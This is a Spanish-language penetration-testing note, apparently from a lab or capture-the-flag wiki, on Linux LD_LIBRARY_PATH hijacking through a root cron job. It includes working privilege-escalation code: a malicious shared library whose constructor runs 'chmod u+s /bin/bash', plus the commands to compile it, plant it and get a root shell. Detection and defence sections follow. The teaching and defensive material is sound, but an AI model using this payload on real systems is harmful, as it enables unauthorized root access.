LD_LIBRARY_PATH hijacking
El enlazador dinámico de Linux (ld.so) resuelve las bibliotecas compartidas (.so) que necesita un ejecutable recorriendo una lista de directorios. La variable de entorno LD_LIBRARY_PATH se consulta antes que las rutas del sistema, de modo que si un proceso privilegiado se ejecuta con un LD_LIBRARY_PATH que incluye un directorio escribible por el atacante, basta con dejar ahí un .so con el nombre que el binario carga para que el enlazador cargue nuestra biblioteca en su lugar. Es la misma idea que el PATH hijacking, pero aplicada a las rutas de búsqueda de bibliotecas en vez de a los ejecutables.
El escenario clásico es un cron de root cuyo /etc/crontab define un LD_LIBRARY_PATH con un directorio que el usuario puede escribir, y que lanza un binario que depende de una biblioteca ausente (o que cargamos antes desde nuestra ruta). Al verlo:
cat /etc/crontab
# LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:...
# * * * * * root /usr/bin/log-sweeper
ldd /usr/bin/log-sweeper # qué .so necesita (p.ej. utils.so)Se compila una biblioteca con un constructor (__attribute__((constructor))), que el enlazador ejecuta automáticamente al cargar el .so, antes incluso de main. El payload eleva privilegios (p.ej. poner el bit SUID a bash):
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() { setuid(0); system("chmod u+s /bin/bash"); }gcc -shared -fPIC -o utils.so utils.c
cp utils.so /usr/local/lib/dev/ # directorio escribible del LD_LIBRARY_PATH
# al ejecutarse el cron como root, carga utils.so y aplica el SUID
bash -p # shell con euid=0El -p de bash es imprescindible: conserva el euid elevado en vez de descartarlo al arrancar, de forma que el /bin/bash recién marcado como SUID abre una sesión root.
Cómo detectarlo. La firma es un proceso privilegiado (a menudo un cron de root) cargando un .so desde una ruta escribible por usuarios en vez de /usr/lib: auditd sobre open/openat de ficheros .so fuera de las rutas del sistema lo revela. En reposo, un LD_LIBRARY_PATH en /etc/crontab o en un perfil apuntando a un directorio de escritura de grupo/mundo es la exposición (auditoría de configuración), y la aparición de un .so nuevo en esa ruta seguida de un /bin/bash con bit SUID cierra la cadena (FIM + auditd). Comparte detección con la inyección de librería compartida.
Defensa. No fijar LD_LIBRARY_PATH en tareas privilegiadas (y nunca apuntándolo a directorios escribibles), enlazar con rutas absolutas/RPATH controlado, y minimizar binarios y bibliotecas que root cargue desde ubicaciones de usuario. Relacionado con el PATH hijacking, con la suplantación de librerías de Python y con el cron sobre script escribible.
Máquinas donde se aplica
- SybarisProving Grounds Practice